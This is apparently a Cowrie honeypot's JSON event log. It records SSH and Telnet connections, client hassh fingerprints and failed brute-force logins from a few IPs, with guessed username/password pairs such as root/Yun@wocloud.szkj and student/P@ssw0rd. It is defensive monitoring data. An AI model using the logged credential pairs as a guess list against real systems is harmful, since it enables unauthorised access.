{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:07.769854Z","src_ip":"45.153.34.195","session":"df1da7d6487f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:07.852728Z","src_ip":"45.153.34.195","session":"df1da7d6487f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123456","message":"login attempt [master/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:08.100237Z","src_ip":"45.153.34.195","session":"df1da7d6487f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:09.338938Z","src_ip":"45.153.34.195","session":"df1da7d6487f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53000,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8fdaba1a411","protocol":"ssh","message":"New connection: 45.153.34.195:53000 (10.17.0.5:22) [session: c8fdaba1a411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:10.578943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:10.583849Z","src_ip":"45.153.34.195","session":"c8fdaba1a411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:10.706806Z","src_ip":"45.153.34.195","session":"c8fdaba1a411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:11.134435Z","src_ip":"45.153.34.195","session":"c8fdaba1a411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25366,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b99b3633bef","protocol":"ssh","message":"New connection: 91.92.40.36:25366 (10.17.0.5:22) [session: 6b99b3633bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:11.177121Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:11.406789Z","src_ip":"91.92.40.36","session":"b1fe9d3fb4f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:12.217173Z","src_ip":"45.153.34.195","session":"c8fdaba1a411","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:13.333636Z","src_ip":"91.92.40.36","session":"6b99b3633bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:13.338087Z","src_ip":"91.92.40.36","session":"6b99b3633bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15512,"dst_ip":"10.17.0.5","dst_port":22,"session":"374812cf5456","protocol":"ssh","message":"New connection: 45.153.34.195:15512 (10.17.0.5:22) [session: 374812cf5456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:13.536577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:13.548540Z","src_ip":"45.153.34.195","session":"374812cf5456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:13.638566Z","src_ip":"45.153.34.195","session":"374812cf5456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:14.174473Z","src_ip":"45.153.34.195","session":"374812cf5456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:15.258538Z","src_ip":"45.153.34.195","session":"374812cf5456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:15.502170Z","src_ip":"91.92.40.36","session":"2beb754b333c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.9","message":"Connection lost after 16.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:16.158666Z","src_ip":"91.92.40.36","session":"b1fe9d3fb4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15524,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9003ea66163","protocol":"ssh","message":"New connection: 45.153.34.195:15524 (10.17.0.5:22) [session: c9003ea66163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:16.439103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:16.443925Z","src_ip":"45.153.34.195","session":"c9003ea66163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:16.535946Z","src_ip":"45.153.34.195","session":"c9003ea66163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:16.831959Z","src_ip":"45.153.34.195","session":"c9003ea66163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:17.918593Z","src_ip":"45.153.34.195","session":"c9003ea66163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.0","message":"Connection lost after 14.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:18.130492Z","src_ip":"91.92.40.36","session":"2beb754b333c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:19.227565Z","src_ip":"91.92.40.36","session":"6b99b3633bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15530,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab5776338699","protocol":"ssh","message":"New connection: 45.153.34.195:15530 (10.17.0.5:22) [session: ab5776338699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:19.340226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:19.344778Z","src_ip":"45.153.34.195","session":"ab5776338699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:19.434353Z","src_ip":"45.153.34.195","session":"ab5776338699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"P@ssw0rd","message":"login attempt [student/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:19.687188Z","src_ip":"45.153.34.195","session":"ab5776338699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:20.771039Z","src_ip":"45.153.34.195","session":"ab5776338699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:22.023166Z","src_ip":"91.92.40.36","session":"6b99b3633bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33398,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf076896b9b5","protocol":"telnet","message":"New connection: 128.199.8.54:33398 (159.203.135.109:23) [session: cf076896b9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:22.123109Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39762,"dst_ip":"10.17.0.5","dst_port":22,"session":"55fa03fe94b6","protocol":"ssh","message":"New connection: 91.92.40.36:39762 (10.17.0.5:22) [session: 55fa03fe94b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:22.287349Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35368,"dst_ip":"10.17.0.5","dst_port":22,"session":"d55b39dc9592","protocol":"ssh","message":"New connection: 45.153.34.195:35368 (10.17.0.5:22) [session: d55b39dc9592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:22.419283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:22.424340Z","src_ip":"45.153.34.195","session":"d55b39dc9592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:22.514835Z","src_ip":"45.153.34.195","session":"d55b39dc9592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:22.766248Z","src_ip":"45.153.34.195","session":"d55b39dc9592","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:23.526376Z","src_ip":"91.92.40.36","session":"55fa03fe94b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:23.849316Z","src_ip":"45.153.34.195","session":"d55b39dc9592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:23.888246Z","src_ip":"91.92.40.36","session":"55fa03fe94b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35374,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d9c0f708b84","protocol":"ssh","message":"New connection: 45.153.34.195:35374 (10.17.0.5:22) [session: 7d9c0f708b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:25.217678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:25.242695Z","src_ip":"45.153.34.195","session":"7d9c0f708b84","protocol":"ssh"}
